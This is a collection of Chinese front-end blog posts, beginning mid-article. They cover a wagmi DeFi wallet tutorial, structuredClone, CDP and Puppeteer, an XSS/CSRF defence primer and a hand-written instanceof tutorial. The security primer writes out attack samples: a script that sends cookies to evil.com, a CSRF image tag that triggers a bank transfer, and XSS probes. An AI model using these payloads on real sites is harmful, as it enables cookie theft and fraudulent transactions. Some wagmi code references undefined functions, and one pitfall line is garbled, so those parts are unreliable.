        {isPending ? 'Connecting...' : 'Connect Wallet'}
      </button>
    );
  }

  return (
    <div>
      <p>Connected: {address?.slice(0, 6)}...{address?.slice(-4)}</p>
      <p>Network: {chain?.name} (ID: {chain?.id})</p>
      <div>
        <button onClick={() => handleSwitchChain(arbitrum.id)}>Switch to Arbitrum</button>
        <button onClick={() => disconnect()}>Disconnect</button>
      </div>
    </div>
  );
}

3. 动态读取多链合约数据

这是DeFi前端的核心。我需要读取用户在某条链上的特定代币余额。合约地址因链而异。useReadContract Hook接收一个配置对象,当其中的addresschainIdaccount发生变化时,它会自动重新获取数据。

注意这个细节useReadContractquery选项中的enabled属性非常有用。我可以设置enabled: !!address && !!chainId,这样只有当用户钱包已连接且链ID明确时,才会发起查询,避免了不必要的错误请求和日志噪音。

// src/hooks/useTokenBalance.ts
import { useReadContract, useAccount } from 'wagmi';
import { erc20Abi } from 'viem';

// 不同链上的USDC合约地址映射
const USDC_ADDRESS: Record<number, `0x${string}`> = {
  1: '0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48', // Ethereum Mainnet
  42161: '0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8', // Arbitrum
  10: '0x0b2C639c533813f4Aa9D7837CAf62653d097Ff85', // Optimism
  137: '0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174', // Polygon
};

export function useTokenBalance() {
  const { address, chainId } = useAccount();

  const { data: balance, isLoading, error, refetch } = useReadContract({
    abi: erc20Abi,
    address: chainId ? USDC_ADDRESS[chainId] : undefined,
    functionName: 'balanceOf',
    args: address ? [address] : undefined,
    query: {
      enabled: !!address && !!chainId, // 关键:确保条件满足才查询
      refetchInterval: 10000, // 每10秒自动刷新一次
    },
  });

  return {
    balance,
    isLoading,
    error,
    refetch, // 暴露手动刷新函数,用于交易后更新
  };
}

4. 执行合约写入与交易状态监听

用户操作,比如质押代币,需要发送交易。我使用useWriteContract来发起交易,但更重要的是监听交易状态。wagmi v2 通过useWaitForTransactionReceipt Hook提供了优雅的解决方案。

这里有个大坑useWriteContract返回的writeContractAsync函数在调用时,必须明确指定chainId。即使你的config里配置了多链,且用户当前已切换到目标链,如果你不传chainId,它有时会默认使用配置中的第一个链(比如主网),导致交易发错链。务必显式传递accountchainId

// src/components/StakeForm.tsx
import { useState } from 'react';
import { useWriteContract, useWaitForTransactionReceipt, useAccount } from 'wagmi';
import { parseUnits } from 'viem';

const stakingPoolAbi = [ /* 你的质押合约ABI */ ] as const;
const STAKING_POOL_ADDRESS = '0x...'; // 你的质押合约地址

export function StakeForm() {
  const [amount, setAmount] = useState('');
  const { address, chainId } = useAccount();

  const {
    writeContractAsync,
    isPending: isWritePending,
    data: hash,
    error: writeError,
    reset: resetWrite,
  } = useWriteContract();

  const {
    isLoading: isConfirming,
    isSuccess: isConfirmed,
    error: receiptError,
  } = useWaitForTransactionReceipt({
    hash,
    query: {
      enabled: !!hash, // 只有有交易哈希时才启动监听
    },
  });

  const handleStake = async () => {
    if (!address || !chainId) return;
    try {
      resetWrite(); // 重置上一次的写入状态
      await writeContractAsync({
        abi: stakingPoolAbi,
        address: STAKING_POOL_ADDRESS,
        functionName: 'stake',
        args: [parseUnits(amount, 18)], // 假设代币精度18
        account: address,
        chainId: chainId, // !!!务必显式指定链ID
      });
      // 交易哈希已提交,状态由 useWaitForTransactionReceipt 监听
    } catch (err) {
      console.error('Stake failed:', err);
    }
  };

  return (
    <div>
      <input value={amount} onChange={(e) => setAmount(e.target.value)} placeholder="Amount to stake" />
      <button onClick={handleStake} disabled={isWritePending || !amount}>
        {isWritePending ? 'Confirming in wallet...' : 'Stake'}
      </button>
      {isConfirming && <p>Transaction is being confirmed...</p>}
      {isConfirmed && <p>Stake successful! <button onClick={() => refetchBalance()}>Refresh Balance</button></p>}
      {writeError && <p style={{ color: 'red' }}>Error: {writeError.message}</p>}
    </div>
  );
}

完整代码示例

下面是一个整合了以上关键部分的简化版主应用组件,你可以直接复制到一个新的React项目中运行(需先安装依赖)。

// App.tsx
import { WagmiProvider } from './providers/WagmiProvider';
import { ConnectButton } from './components/ConnectButton';
import { useTokenBalance } from './hooks/useTokenBalance';
import { StakeForm } from './components/StakeForm';

function AppContent() {
  const { balance, isLoading, error, refetch } = useTokenBalance();

  return (
    <div style={{ padding: '20px' }}>
      <h1>DeFi Staking Dashboard</h1>
      <ConnectButton />
      <hr />
      <h2>Your USDC Balance</h2>
      {isLoading && <p>Loading balance...</p>}
      {error && <p>Error loading balance: {error.message}</p>}
      {balance !== undefined && (
        <p>Balance: {balance.toString()} units (raw)</p>
        // 实际应用中,这里需要根据代币精度格式化显示
      )}
      <button onClick={() => refetch()}>Refresh Balance</button>
      <hr />
      <h2>Stake Tokens</h2>
      <StakeForm onSuccess={refetch} /> {/* 传入刷新余额的回调 */}
    </div>
  );
}

export default function App() {
  return (
    <WagmiProvider>
      <AppContent />
    </WagmiProvider>
  );
}

踩坑记录

  1. useReadContract 不自动更新:当用户切换钱包账户后,余额查询没有更新。原因:我忘记将address作为args的一部分。args: [address]必须依赖address变量,当address变化时,查询才会重新执行。解决:确保args正确绑定到响应式变量(如来自useAccountaddress)。

  2. 交易发错链:用户在Arbitrum上点击质押,交易却发到了以太坊主网,导致失败和Gas费损失。原因:调用writeContractAsync时没有显式传递chainId参数。解决:始终从useAccount中获取当前的chainId,并在写入合约时明确指定chainId: currentChainId

  3. “RPC Error: Rate Limited”:在开发时频繁刷新页面,快速连接/断开钱包,导致Infura或Alchemy的RPC端点报速率限制错误。原因wagmihttp()传输层默认没有配置请求节流或重试。解决:为生产环境配置更健壮的RPC提供商,或者使用viemfallback传输层,设置多个RPC端点作为备用。例如:transport: fallback([http('https://mainnet.infura.io/v3/your-key'), http()])

  4. **TypeScript类型错误:0xstring:在定义合约地址常量时,直接写字符串字面量,TypeScript报错,要求是0ˋx{string}`”`**:在定义合约地址常量时,直接写字符串字面量,TypeScript报错,要求是`\`0x{string}`类型。**原因**:viemwagmi为了类型安全,要求地址是严格的以0x开头的十六进制字符串类型。**解决**:使用类型断言as `0x${string}``,或者确保你的地址常量符合该模板字面量类型。

小结

通过这一轮实战,我深刻体会到在Web3前端开发中,状态同步的可靠性远比功能实现更重要。wagmi v2配合viem提供了强大的基础,但开发者必须清晰地理解:账户、链ID、合约地址如何作为Hooks的依赖项驱动数据流。下一步,我计划深入研究wagmi的存储持久化和自定义缓存策略,以进一步提升复杂DeFi应用的用户体验。

别再用 JSON.parse 深拷贝了,聊聊 StructuredClone

临近下班,我们业务线出了一个极度无语的线上 Bug。

产品侧反馈,在一个非常核心的财务表单里,用户明明选择了 2026-04-14 作为结算日期,但点击提交后,整个页面直接白屏崩溃。

我打开错误监控看了一眼日志,立刻就把组里那个刚入职不久的小伙子叫了过来。 原因极其经典:他在把表单的原始状态同步给历史快照时,为了图省事,顺手写了一段几乎所有前端都写过的代码:

// 模拟用户表单数据
const formData = {
  amount: 1000,
  date: new Date("2026-04-14"), // 用户选的结算日期(Date对象)
};

// 深拷贝
const snapshot = JSON.parse(JSON.stringify(formData));

console.log("原始:", formData.date, typeof formData.date); 
// Date object

console.log("快照:", snapshot.date, typeof snapshot.date); 
// "2026-04-14T00:00:00.000Z" string

// 后续业务代码
function calcSettlementTime(data) {
  // 这里默认 date 是 Date 对象
  return data.date.getTime();
}

// 页面直接崩溃😢
try {
  const time = calcSettlementTime(snapshot);
  console.log("时间戳:", time);
} catch (err) {
  console.error("页面崩溃:", err);
}

他满脸委屈:老大,大家平时深拷贝不都是这么写的吗?🤷‍♂️

我让他自己把这段代码在控制台跑一遍。 当他看到表单里原本好好的 Date 对象,经过这一进一出,硬生生变成了一串 ISO 格式的字符串,导致后面调用 snapshot.date.getTime() 直接抛出 TypeError 时,他自己也沉默了。

作为前端老油条,这种因为 JSON.parse(JSON.stringify()) 引发的血案,我见过太多了。 它不仅会把 Date 变成字符串,还会把 MapSet 变成空对象 {},会把 undefinedSymbol 以及函数直接活生生抹除,更别提遇到循环引用时,它会当场抛出异常让你的主线程直接崩溃。

以前,我们为了解决这个破事,不得不在每个项目里老老实实 npm install lodash,然后引入那个笨重的 cloneDeep

但现在是 2026 年了。浏览器早就原生内置了完美的终极解药——structuredClone

今天咱们不聊虚的架构,就花三分钟,把这个原生 API 的底层逻辑讲清楚。


它是怎么解决历史遗留问题的?

structuredClone 不是什么语法糖,它是浏览器底层暴露出来的 结构化克隆算法(Structured Clone Algorithm)。这就意味着,它在 C++ 引擎层面的处理逻辑,远比 JS 业务层面的递归拷贝要深得多。

看一下原生 API 的用法:

const original = {
  date: new Date(),
  set: new Set([1, 2, 3]),
  map: new Map([['key', 'value']]),
  regex: /hello/i,
  buffer: new Uint8Array([1, 2, 3]).buffer,
};

// 制造一个循环引用
original.self = original;

// 一行代码,原生搞定
const cloned = structuredClone(original);

console.log(cloned.date instanceof Date); // true
console.log(cloned.set instanceof Set);   // true
console.log(cloned.self === cloned);      // true 完美处理循环引用!

发现没有?它不仅完美保留了所有的内置对象类型,连 JSON.parse 绝对搞不定的循环引用,它都处理得游刃有余。由于是在引擎底层运行,不需要像 Lodash 那样在 JS 运行时里疯狂压栈递归,它的执行效率在大部分复杂场景下都具有压倒性优势👍👍👍。


零拷贝转移 (Transferable Objects)

如果你以为 structuredClone 只是为了少引入一个 Lodash,那你就太小看浏览器的底层野心了。

它藏着一个 90% 的前端都不知道的极其硬核的功能:内存转移(Transfer)

在前端处理音视频、WebGL、或者读取几十 MB 的大文件时,我们经常会生成巨大的 ArrayBuffer。如果你用传统的深拷贝,内存瞬间翻倍,几十兆的内存分配极容易引起页面的掉帧卡顿。

structuredClone 提供了一个极其变态的第二个参数配置:{ transfer }

// 假设这是一个极大的 50MB 数据内存块
const u8Array = new Uint8Array(1024 * 1024 * 50);
const hugeBuffer = u8Array.buffer;

// 传统的深拷贝:内存翻倍,耗时极长
// const badCopy = lodash.cloneDeep(hugeBuffer); 

// 直接内存转移
const fastClone = structuredClone(hugeBuffer, { transfer: [hugeBuffer] });

console.log(fastClone.byteLength); // 52428800 (50MB 完美转移)
console.log(hugeBuffer.byteLength); // 0 (原对象的内存地址被转移)

这段代码的核心在于:它压根没有复制数据。 它直接在内存层面,把这块 50MB 数据的所有权,从 hugeBuffer 强行转移给了 fastClone。原对象被彻底掏空(变成了 detached 状态)。

这种零拷贝机制,在结合 Web Worker 处理复杂后台计算时,是打破性能瓶颈的绝对神器。这是任何第三方 JS 库都做不到的底层API。


一些坑要讲清楚🤔

既然这么牛,是不是以后项目里所有的拷贝闭着眼睛用它就行了? 作为一个踩过无数坑的老兵,我必须点出它的几个致命死角。如果你在真实的业务架构里滥用,下场比用 JSON.parse 还要惨。

对于函数和 DOM 节点的处理

JSON.parse 遇到函数,它会默默地忽略掉,至少不报错。 但 structuredClone 很直接。只要你的对象树里藏着一个方法,或者藏着一个 DOM 节点的引用,它会直接给你抛出 DataCloneError

const objWithFunc = {
  data: 123,
  onClick: () => console.log('click')
};

// 只要带有函数,直接抛同步错误
// DOMException: () => console.log('click') could not be cloned.
const copy = structuredClone(objWithFunc); 

这就意味着,如果你要拷贝的是一个 Vue/React 的响应式组件实例,或者是带有业务方法的数据模型,绝对不能用它👋。

原型链的断裂

不管你原本是一个通过 class 实例化的多么高级的业务对象,经过 structuredClone 的洗礼后,它都会变成一个普通的纯对象(Plain Object)。

class User {
  constructor(name) { this.name = name; }
  sayHi() { console.log('hi'); }
}

const user = new User('前端');
const cloneUser = structuredClone(user);

console.log(cloneUser instanceof User); // false 
cloneUser.sayHi(); // TypeError: cloneUser.sayHi is not a function

原型链上的所有方法全部丢失。它只关心纯粹的数据,不关心你的面向对象架构。‘


需要时收藏起来⭐⭐⭐

这几年,前端的工具链卷得飞起,大家的 package.json 越来越臃肿。遇到数组去重找库,遇到时间格式化找库,遇到深拷贝也要找库。

如果你只是单纯地处理一些后端传过来的嵌套数据,或者表单的复杂配置结构,完全可以直接把 structuredClone 敲在你的代码里。不用担心兼容性,目前主流浏览器(包括 Node.js)的支持率早就达到了工业级使用的标准了。

image.png

下次 Code Review 时,别再让我看到满屏的 JSON.parse 了 (玩笑😁😁😁)。

分享完毕,谢谢大家🙌

Suggestion.gif

CDP、Puppeteer 与无头浏览器:它们到底什么关系?

一分钟速览

概念 类比 角色
无头浏览器 一台"看不见屏幕"的电脑 运行环境 / 硬件
CDP 电脑的控制接口(USB / 串口协议) 通信协议
Puppeteer 你写的自动化脚本 / 遥控器 App 高层 SDK

1. 什么是无头浏览器(Headless Browser)

无头浏览器指没有图形界面 (GUI) 的浏览器,它拥有完整的浏览器引擎(HTML 解析、CSS 渲染、JS 执行),但不会在屏幕上绘制任何窗口。

chrome --headless --disable-gpu https://example.com

典型用途:

  • 自动化测试(截图、E2E 测试)
  • 爬虫 / 数据抓取
  • 服务端渲染 SSR 预渲染
  • 生成 PDF / 截图
  • Agent 的浏览器工具调用

常见实现:Chrome/Chromium headless、Firefox headless(历史上还有 PhantomJS,已停维护)。


2. 什么是 CDP(Chrome DevTools Protocol)

CDP 是 Chromium 团队定义的一套用于程序化控制浏览器的通信协议,本质是一套基于 WebSocket + JSON-RPC 的 API 集合。

你在 Chrome DevTools(F12)里做的一切——查看 DOM、网络请求、调试 JS、截图——背后都是 CDP 在驱动。

WS 消息示例(发送):
{
  "id": 1,
  "method": "Page.navigate",
  "params": { "url": "https://example.com" }
}

WS 消息示例(响应):
{
  "id": 1,
  "result": { "frameId": "...", "loaderId": "..." }
}

CDP 核心域(Domain):

Domain 能力
Page 页面导航、截图、PDF
Network 拦截请求、修改 Header
DOM 查询 / 操作 DOM 节点
Runtime 执行任意 JS、获取返回值
Input 模拟鼠标点击、键盘输入
Target 多标签页 / 多 iframe 管理

3. 什么是 Puppeteer

Puppeteer 是 Google 官方出品的 Node.js 库,它封装了 CDP 的所有细节,暴露出人类友好的 API。

const puppeteer = require('puppeteer');

(async () => {
  const browser = await puppeteer.launch({ headless: true });
  const page = await browser.newPage();
  await page.goto('https://example.com');
  const title = await page.title();
  console.log(title);
  await browser.close();
})();

一行 page.goto() 背后,Puppeteer 帮你发了十几条 CDP 命令。


4. 三者关系:分层架构图

graph TB
    subgraph USER["👨‍💻 开发者代码层"]
        A["你的 Node.js / Python 代码<br/>业务逻辑、Agent 工具调用"]
    end

    subgraph SDK["📦 高层 SDK 层"]
        B["Puppeteer"]
        B2["Playwright"]
        B3["selenium-webdriver<br/>(通过 WebDriver 协议)"]
    end

    subgraph PROTOCOL["🔌 协议层"]
        C["CDP\nChrome DevTools Protocol\nWebSocket + JSON-RPC"]
    end

    subgraph BROWSER["🌐 浏览器层"]
        D["Chrome / Chromium 内核"]
        E["无头模式\nHeadless"]
        F["有头模式\nHeaded(可见窗口)"]
    end

    A --> B
    A --> B2
    A --> B3
    B -->|"封装 CDP 调用"| C
    B2 -->|"封装 CDP 调用"| C
    B3 -->|"WebDriver 协议\n(另一套协议)"| D
    C -->|"WebSocket 通信"| D
    D --> E
    D --> F

    style USER fill:#dbeafe,stroke:#3b82f6
    style SDK fill:#d1fae5,stroke:#10b981
    style PROTOCOL fill:#fef3c7,stroke:#f59e0b
    style BROWSER fill:#fce7f3,stroke:#ec4899

层级关系: 无头浏览器是运行环境,CDP 是控制协议,Puppeteer 是对 CDP 的高层封装。


5. 一次页面访问的时序图

page.goto('https://example.com') 为例,看看底层发生了什么。

sequenceDiagram
    autonumber
    participant User as 开发者代码
    participant PP as Puppeteer
    participant WS as WebSocket 连接
    participant CDP as CDP 协议层
    participant Chrome as Chrome (无头)
    participant Net as 网络 / DNS

    User->>PP: page.goto('https://example.com')
    PP->>PP: 内部构建 CDP 命令

    PP->>WS: 发送 Page.navigate 消息
    WS->>CDP: JSON-RPC: { method: "Page.navigate", params: {url} }
    CDP->>Chrome: 触发导航

    Chrome->>Net: DNS 解析 + TCP 握手 + TLS
    Net-->>Chrome: 建立连接
    Chrome->>Net: 发送 HTTP GET 请求
    Net-->>Chrome: 返回 HTML 响应

    Chrome->>Chrome: HTML 解析 → DOM 树
    Chrome->>Chrome: CSS 解析 → CSSOM
    Chrome->>Chrome: JS 执行(同步脚本)
    Chrome->>Chrome: 触发 DOMContentLoaded

    CDP-->>WS: 事件推送: Page.loadEventFired
    WS-->>PP: 接收事件,Promise resolve
    PP-->>User: goto() 完成,返回 Response

6. CDP 连接建立时序图

Puppeteer launch() 时,如何与 Chrome 建立 CDP 连接。

sequenceDiagram
    autonumber
    participant PP as Puppeteer
    participant OS as 操作系统
    participant Chrome as Chrome 进程
    participant WS as WebSocket

    PP->>OS: 启动子进程: chrome --headless --remote-debugging-port=9222
    OS->>Chrome: 创建 Chrome 进程
    Chrome-->>OS: 监听 9222 端口,打印 WS 调试地址

    PP->>Chrome: HTTP GET /json/version
    Chrome-->>PP: 返回 { webSocketDebuggerUrl: "ws://localhost:9222/..." }

    PP->>WS: 建立 WebSocket 连接到调试地址
    WS-->>PP: 连接建立成功

    PP->>WS: 发送 Target.getTargets
    WS-->>PP: 返回已有标签页列表

    PP->>WS: 发送 Target.createTarget(新建标签页)
    WS-->>PP: 返回 targetId

    PP-->>PP: 封装为 Page 对象,供用户使用

7. 核心能力对比

quadrantChart
    title 浏览器自动化工具能力对比
    x-axis 学习曲线低 --> 学习曲线高
    y-axis 能力弱 --> 能力强
    quadrant-1 专家工具
    quadrant-2 首选工具
    quadrant-3 入门工具
    quadrant-4 高风险区
    Puppeteer: [0.35, 0.72]
    Playwright: [0.40, 0.88]
    CDP 原生: [0.80, 0.95]
    Selenium: [0.55, 0.55]
    PhantomJS: [0.30, 0.30]

8. Puppeteer vs 直接用 CDP

flowchart LR
    subgraph RAW["直接使用 CDP(原始方式)"]
        R1["手动管理 WebSocket"]
        R2["手动序列化 JSON 命令"]
        R3["手动等待事件"]
        R4["手动管理多标签页"]
        R5["需要熟记每个 Domain 命令"]
        R1 --> R2 --> R3 --> R4 --> R5
    end

    subgraph PPT["使用 Puppeteer(推荐)"]
        P1["puppeteer.launch()"]
        P2["browser.newPage()"]
        P3["page.goto(url)"]
        P4["page.click(selector)"]
        P5["page.screenshot()"]
        P1 --> P2 --> P3 --> P4 --> P5
    end

    RAW -- "Puppeteer 帮你封装了这些" --> PPT

9. 典型使用场景流程图

flowchart TD
    Start([需要自动化浏览器?]) --> Q1{是否需要\n真实浏览器渲染?}

    Q1 -- 否 --> Axios["使用 axios / fetch\n直接 HTTP 请求更简单"]
    Q1 -- 是 --> Q2{是否需要\n可见界面调试?}

    Q2 -- 是,开发阶段 --> Headed["headless: false\n有头模式,肉眼观察"]
    Q2 -- 否,生产环境 --> Headless["headless: true\n无头模式,服务端运行"]

    Headed --> Q3{用哪个库?}
    Headless --> Q3

    Q3 -- 简单任务 --> Puppeteer2["Puppeteer\n(Google 维护,API 简洁)"]
    Q3 -- 多浏览器兼容 --> Playwright2["Playwright\n(微软维护,支持 Firefox/Safari)"]
    Q3 -- 精细控制 --> CDP2["直接操作 CDP\n(需要深度定制时使用)"]

    Puppeteer2 --> Done["完成自动化任务 🎉"]
    Playwright2 --> Done
    CDP2 --> Done

10. 生态关系图

graph LR
    subgraph Google["Google 生态"]
        Chromium["Chromium 开源浏览器"]
        CDP["CDP 协议"]
        Puppeteer3["Puppeteer"]
        Chromium --> CDP
        CDP --> Puppeteer3
    end

    subgraph Microsoft["Microsoft 生态"]
        Playwright3["Playwright"]
        Playwright3 -->|"复用 CDP"| CDP
        Playwright3 -->|"Firefox Protocol"| FF["Firefox"]
        Playwright3 -->|"WebKit Protocol"| Safari["WebKit/Safari"]
    end

    subgraph W3C["W3C 标准"]
        WebDriver["WebDriver 协议\n(W3C 标准)"]
        Selenium3["Selenium"]
        WebDriver --> Selenium3
    end

    subgraph Agent["AI Agent 工具"]
        BrowserUse["browser-use"]
        LangChain["LangChain Browser Tool"]
        BrowserUse -->|"底层使用"| Playwright3
        LangChain -->|"底层使用"| Puppeteer3
    end

    style Google fill:#e0f2fe
    style Microsoft fill:#e8f5e9
    style W3C fill:#fff8e1
    style Agent fill:#f3e5f5

11. 一句话总结

无头浏览器  是一台"无屏幕的 Chrome"
     ↑
    CDP     是它暴露的"远程控制接口(协议)"
     ↑
 Puppeteer  是对 CDP 的"人性化封装库"
     ↑
 你的代码   调用 Puppeteer 实现自动化 / AI Agent 工具

12. 常见误区澄清

误区 正确理解
Puppeteer = 无头浏览器 ❌ Puppeteer 是库,无头浏览器是 Chrome
无头模式性能更好 ✅ 省去 GPU 渲染管线,内存和 CPU 更低
CDP 只有 Puppeteer 能用 ❌ Playwright、DevTools、各种调试工具都用 CDP
Headless Chrome 和普通 Chrome 行为不同 ⚠️ 部分 CSS / JS 行为有细微差异,需测试覆盖
Puppeteer 只能跑 Chrome ✅ 是的(官方支持 Chromium 和 Edge),跨浏览器用 Playwright

参考资料

你的网站被“下毒”了?XSS和CSRF:前端安全的两大“毒瘤”

你有没有听说过:点了个链接,微博自动转发了奇怪的内容;登录了银行网站,钱莫名其妙被转走。今天我们就来揪出前端安全领域的两个“惯犯”——XSS(跨站脚本攻击)和CSRF(跨站请求伪造)。它们一个像“投毒者”,一个像“冒充者”,专门偷你的数据、干你的坏事。

前言

想象一下,你开了个奶茶店。XSS就是有人在你店里的菜单上贴了一张纸:“凭此券免费喝奶茶”,然后顾客都来找你要免费奶茶。CSRF则是有人冒充你,对供应商说:“老板说再进1000箱珍珠!”结果你莫名其妙多了一仓库珍珠。

这两种攻击方式不同,但都杀伤力巨大。今天我们就来认识它们,然后学会怎么防。

一、XSS:跨站脚本攻击,你的网站被人“投毒”了

XSS(Cross-Site Scripting)的意思是:攻击者在你的网页里注入恶意脚本,当其他用户访问时,这个脚本就会在用户浏览器里执行,偷Cookie、发请求、改页面内容。

反射型XSS:恶意链接里的“定时炸弹”

攻击者把一个带恶意参数的链接发给你,你一点,网站把参数原样输出到页面上,脚本就执行了。

比如一个搜索页面:https://example.com/search?q=<script>alert('XSS')</script>。如果网站直接输出q参数的内容,就会弹出弹窗。

危害:偷Cookie、钓鱼、跳转恶意网站。

存储型XSS:留言板里的“慢性毒药”

更可怕的是存储型。攻击者在评论区、个人简介等地方写入恶意脚本,网站把它存进数据库。每个访问这个页面的用户,都会执行这个脚本。

比如你在博客评论区写<script>fetch('http://evil.com?cookie='+document.cookie)</script>,博主和所有读者看评论时,Cookie就被发送给攻击者了。

危害:持久化,感染所有访客。

DOM型XSS:不经过服务器的“内鬼”

这种XSS不经过服务器,完全由前端JS不安全地操作DOM导致。比如从URL参数取内容直接innerHTML

// 危险代码
const name = new URL(location.href).searchParams.get('name');
document.getElementById('welcome').innerHTML = `Hello ${name}`;

攻击者构造?name=<img src=x onerror=alert(1)>,脚本执行。

怎么防XSS?

  1. 永远不要信任用户输入。任何用户可控制的数据(URL参数、表单、请求头),输出到HTML前都要转义
// 简单转义函数
function escapeHtml(str) {
  return str.replace(/[&<>]/g, function(m) {
    if (m === '&') return '&amp;';
    if (m === '<') return '&lt;';
    if (m === '>') return '&gt;';
  });
}
  1. 使用安全的APItextContent代替innerHTMLsetAttribute代替拼接HTML。
// 安全
element.textContent = userInput;
// 危险
element.innerHTML = userInput;
  1. CSP(内容安全策略):通过HTTP头限制哪些脚本可以执行。比如禁止内联脚本、只允许白名单域名。
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com
  1. 使用框架的自动转义:React、Vue等默认会转义输出,但要注意v-htmldangerouslySetInnerHTML等危险操作。

  2. HttpOnly Cookie:标记HttpOnly的Cookie无法被JS读取,即使有XSS也偷不走。但注意,这只能防偷Cookie,不能防其他恶意操作。

二、CSRF:跨站请求伪造,有人冒充你干坏事

CSRF(Cross-Site Request Forgery)的意思是:攻击者诱导你访问一个恶意网站,这个网站偷偷向你的目标网站(比如银行、微博)发起请求,由于你之前登录过,浏览器会自动带上Cookie,目标网站以为是你本人的操作。

一个典型的CSRF攻击

  1. 你登录了银行网站bank.com,浏览器存了Cookie。
  2. 你访问了恶意网站evil.com
  3. evil.com里有一张图片<img src="https://bank.com/transfer?to=attacker&amount=10000">
  4. 浏览器加载图片时,向bank.com发起请求,自动带上你的Cookie。
  5. 银行验证了Cookie,以为是你在转账,扣了你的钱。

危害:修改密码、发帖、转账、删数据……一切你权限内的操作。

怎么防CSRF?

  1. CSRF Token:服务器生成一个随机Token,存在表单的隐藏字段或请求头里。提交时校验Token,攻击者无法获取Token(因为跨域限制)。
<form>
  <input type="hidden" name="_csrf" value="随机字符串">
  ...
</form>
  1. SameSite Cookie:设置Cookie的SameSite属性为StrictLax,禁止第三方请求携带Cookie。
Set-Cookie: sessionId=abc123; SameSite=Strict
  • Strict:任何跨站请求都不带Cookie。
  • Lax:部分安全的跨站请求(如链接跳转)带Cookie,但POST表单不带。
  1. 验证Referer/Origin:服务器检查请求头中的RefererOrigin,确保来自你自己的域名。但Referer可能被篡改或缺失,不如Token可靠。

  2. 使用自定义请求头:比如X-Requested-With: XMLHttpRequest,因为跨域请求不能随意设置自定义头(需要CORS),可以作为一种简单校验(但也能被绕过,最好配合Token)。

  3. 敏感操作二次验证:修改密码、转账等操作,要求输入密码或短信验证码。

三、XSS和CSRF的“狼狈为奸”

更可怕的是,XSS和CSRF经常联手:先用XSS注入脚本,脚本里发起CSRF攻击。比如在留言板注入<script>fetch('/transfer?to=evil&amount=10000')</script>,每个看留言的人都成了受害者。

所以防御要层层设防:XSS防注入,CSRF防伪造。

四、实战:一个安全的评论显示组件

// 安全地渲染用户评论
function renderComment(comment) {
  const div = document.createElement('div');
  // 用textContent而不是innerHTML
  div.textContent = comment.text;
  // 如果要显示链接,需要单独处理
  return div;
}

对于后端,输出到HTML时也要转义:

<?php echo htmlspecialchars($comment, ENT_QUOTES, 'UTF-8'); ?>

五、总结:安全三字经

  • 防XSS:转义输出,CSP,HttpOnly。
  • 防CSRF:Token,SameSite,验证Referer。
  • 通用:不要信任用户输入,最小权限原则。

前端安全不是只有大厂才要考虑。你写的一个小博客、一个留言板,都可能被坏人利用。养成良好的安全习惯,比出事后再补窟窿强一百倍。


如果你觉得今天的“安全课”够警醒,点个赞让更多人看到。明天我们将聊聊前端监控与错误上报——怎么第一时间发现线上的Bug,而不是等用户骂你。我们明天见!

手写 instanceof:从原型链聊聊 JS 的实例判断

大家好,我是平时爱折腾前端JavaScript的小伙。最近在看 JS 继承和原型相关的东西并且进行学习,发现我身边的人学习(包括我自己以前) instanceof 的理解还停留在“能判断对象是不是某个类的实例”这个表面。根据师兄的口述,仅仅了解这些是不够面试的。今天就借着这个机会,结合实际代码,一步步手写一个 instanceof,顺便把原型链、继承这些概念也捋清楚。

先说说为什么需要 instanceof

在大项目里,尤其是多人协作的时候,你经常会拿到一个对象,却不知道它到底是从哪个构造函数来的,有哪些方法和属性可用。这时候 instanceof 就特别实用——它就像其他面向对象语言里的“类型检查”运算符,能快速告诉你“这个对象是不是某个类的实例”。

简单说,A instanceof B 的本质就是:A 的原型链上有没有 B 的 prototype。如果有,就返回 true;没有,就 false

这不是 JS 独有的概念,很多 OOP 语言都有类似的机制,但 JS 是基于原型的,所以它的实现特别“接地气”——全靠那条 __proto__ 链。

原型和原型链是什么?

先用一个最常见的例子感受一下(来自 Array):

<script>
const arr = []; // 其实就是 new Array()
console.log(arr.__proto__, arr.__proto__.constructor, arr.constructor);
console.log(arr.__proto__.__proto__,
  arr.__proto__.__proto__.constructor,
  arr.__proto__.__proto__.__proto__,
  arr.__proto__.__proto__.__proto__.__proto__);
</script>

你会看到:

  • arr.__proto__ 指向 Array.prototype
  • Array.prototype.__proto__ 又指向 Object.prototype
  • 最后 Object.prototype.__proto__null,链条结束

这就是原型链:每个对象都有一个 __proto__ 属性(隐式原型),它指向自己构造函数的 prototype(显式原型)。沿着这条链一直往上找,就能找到所有能用的属性和方法(包括 toStringhasOwnProperty 这些)。

理解了这条链,instanceof 就很好解释了。

原生的 instanceof 是怎么工作的?

看下面这个经典的继承例子:

function Animal() {}
function Person() {}

Person.prototype = new Animal();
const p = new Person();

console.log(p instanceof Person);  // true
console.log(p instanceof Animal);  // true

pPerson 的实例,它的原型链上是 Person.prototype → Animal.prototype → Object.prototype → null,所以它既是 Person 的实例,也是 Animal 的实例。

手写一个 isInstanceOf

现在我们来自己实现一个。核心思路就一句话:从 left 的 __proto__ 开始,一路往上找,看能不能找到 right.prototype

完整代码如下(直接复制就能跑):

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>手写 instanceof</title>
</head>
<body>
<script>
// B 是否出现在 A 的原型链上
function isInstanceOf(left, right) {
  // 防止 right 不是函数
  if (typeof right !== 'function') {
    return false;
  }
  
  let proto = left.__proto__;
  while (proto) {
    if (proto === right.prototype) {
      return true;
    }
    proto = proto.__proto__; // 继续往上找,直到 null
  }
  return false;
}

function Animal() {}
function Cat() {}
Cat.prototype = new Animal();
function Dog() {}
Dog.prototype = new Animal();

const dog = new Dog();

console.log(isInstanceOf(dog, Dog));     // true
console.log(isInstanceOf(dog, Animal));  // true
console.log(isInstanceOf(dog, Object));  // true
console.log(isInstanceOf(dog, Cat));     // false
</script>  
</body>
</html>

这个函数和原生的 instanceof 行为几乎一致。注意两点小细节:

  1. 我们加了个 typeof right !== 'function' 的防护,防止传进来奇怪的东西报错。
  2. 循环结束条件是 proto 变成 null,这正是原型链的终点。

结合继承方式再看 instanceof

instanceof 最常出现在继承场景里。我们来对比几种常见的继承写法,看看它在每种方式下的表现。

1. 构造函数绑定继承(call/apply)

function Animal() {
  this.species = '动物';
} 
function Cat(name, color) {
  Animal.apply(this);  // 把 Animal 的属性绑到 this 上
  this.name = name;
  this.color = color;
}

const cat = new Cat('小黑', '黑色');
console.log(cat.species); // 动物

